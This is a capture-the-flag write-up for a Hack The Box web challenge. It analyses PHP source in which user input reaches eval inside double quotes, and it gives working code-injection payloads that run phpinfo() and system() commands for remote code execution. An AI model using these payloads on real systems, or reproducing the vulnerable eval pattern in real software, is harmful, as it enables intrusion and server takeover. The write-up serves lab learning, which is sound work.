It is quite a simple web challenge from Hack The Box, it requires you to analysis the source code of the challenges. Let’s start

Source code Analysis

index.php

<?php 
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

Base on the source code, we can know that it create a new Object Router to handle the request. Moreover, I also passing the controller to the router. I think we will need to read the Router code.

Router.php

This code is quite long but it main task is extract the uri and the params and pass it to TimeController object. However, I found 1 function can be dangerous in the view function

    public function view($view, $data = [])
    {
        extract($data);
        include __DIR__."/views/${view}.php";
        exit;
    }

If we can controll the data pass into extract so that we can control and override global variable and that is dangerous. Let’s move on the TimeController to found out what can we do

TimeControler.php

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

This one take the param format from our request and continue pass to TimeModel object and then recieve the time from TimeModel. Now we can see the data that is pass into view function on Router.php and we can see that cannot modified the key so I will leave the extract function aside. I will continue read the TimeModel object

TimeModel.php

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

Now we see some thing very juice here (the eval). Notice that we can control the input of format but we cannot escape the stringe because the function addslashes was used here. However, we can see there is a double quote "..." wrapped around our input. That means we can inject PHP code into here using ${your_code}. So I test with payload ?format=${phpinfo()} and our code successfully execute
alt text

Exploit

So we know that we can execute code here so I will try to execute some system code. Beacuse we cannot put a single quote in our payload (cause it will cause error) so will use this payload

?formate=${system($_GET[1])}&1=id

And the response will give us the id
alt text
Now we can go inside and find the flag and the end…